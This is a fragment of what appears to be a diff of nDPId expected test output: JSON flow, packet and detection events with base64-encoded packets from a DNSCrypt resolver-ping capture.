AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":297,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":118,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432660,"flow_src_last_pkt_time":946739317432660,"flow_dst_last_pkt_time":946739317432660,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432660,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":36676,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":298,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317432673} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":298,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317432660,"pkt":"REREREREZmZmZmZmCABFAABQ15AAub0RxrIKAAABsDjtqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":299,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":119,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432695,"flow_src_last_pkt_time":946739317432695,"flow_dst_last_pkt_time":946739317432695,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432695,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":49008,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_src_last_pkt_time":946739317432695,"flow_dst_last_pkt_time":946739317432695,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739317432695,"pkt":"REREREREZmZmZmZmCABFAAIc15JAAL0RhZ0KAAABsDjtq79wAbsCCGC6smMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":299,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":119,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432695,"flow_src_last_pkt_time":946739317432695,"flow_dst_last_pkt_time":946739317432695,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432695,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":49008,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":300,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":120,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432697,"flow_src_last_pkt_time":946739317432697,"flow_dst_last_pkt_time":946739317432697,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432697,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":48325,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_src_last_pkt_time":946739317432697,"flow_dst_last_pkt_time":946739317432697,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317432697,"pkt":"REREREREZmZmZmZmCABFAAXc15EgAL0Rod4KAAABsDjtq7zFAbsGBG7RsmYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":300,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":120,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432697,"flow_src_last_pkt_time":946739317432697,"flow_dst_last_pkt_time":946739317432697,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432697,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":48325,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":301,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317432711} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":301,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317432697,"pkt":"REREREREZmZmZmZmCABFAABQ15EAub0RxrEKAAABsDjtqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00772{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":2,"flow_src_last_pkt_time":946739317403417,"flow_dst_last_pkt_time":946739317434574,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"thread_ts_usec":946739317434574,"pkt":"ZmZmZmZmRERERERECABFAADXKh9AADQRgTsznqZhCgAAAQG7u8EAw9AjB2GBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} 00774{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":2,"flow_src_last_pkt_time":946739317432544,"flow_dst_last_pkt_time":946739317460347,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"thread_ts_usec":946739317460347,"pkt":"ZmZmZmZmRERERERECABFAADcYmUAADoRvwuwOO2rCgAAAQG7ovUAyPSjsmeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} 00774{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":2,"flow_src_last_pkt_time":946739317432603,"flow_dst_last_pkt_time":946739317461291,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"thread_ts_usec":946739317461291,"pkt":"ZmZmZmZmRERERERECABFAADcYmYAADkRwAqwOO2rCgAAAQG71wYAyMCVsmSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAABl3+ykQSZujAz2k88UgiWZ8EW8WsV\/cZTbX4vJmZY7W5pQMpzujkuwlfjXc+3bckBxwziAxuzLgEVuJhZegpADIiVqOfVhh6bINcwjX2cKXslxwpVLP3wwY1fcQglCKacmJWo59WGHpX1OncV9Tp3FfVPjx"} @@ -619,18 +531,12 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":309,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":123,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462335,"flow_src_last_pkt_time":946739317462335,"flow_dst_last_pkt_time":946739317462335,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462335,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":53117,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_src_last_pkt_time":946739317462335,"flow_dst_last_pkt_time":946739317462335,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739317462335,"pkt":"REREREREZmZmZmZmCABFAAIcwF1AAL0Rvf8KAAABstjJ3s99CAUCCD+NfSUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":309,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":123,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462335,"flow_src_last_pkt_time":946739317462335,"flow_dst_last_pkt_time":946739317462335,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462335,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":53117,"dst_port":2053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":310,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317462337} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":310,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317462335,"pkt":"REREREREZmZmZmZmCABFAABQwFwAub0R\/xMKAAABstjJ3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00782{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":124,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462369,"flow_src_last_pkt_time":946739317462369,"flow_dst_last_pkt_time":946739317462369,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462369,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":52221,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_src_last_pkt_time":946739317462369,"flow_dst_last_pkt_time":946739317462369,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317462369,"pkt":"REREREREZmZmZmZmCABFAAXcwF4gAL0R2j4KAAABstjJ3sv9CAUGBG7NfSIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 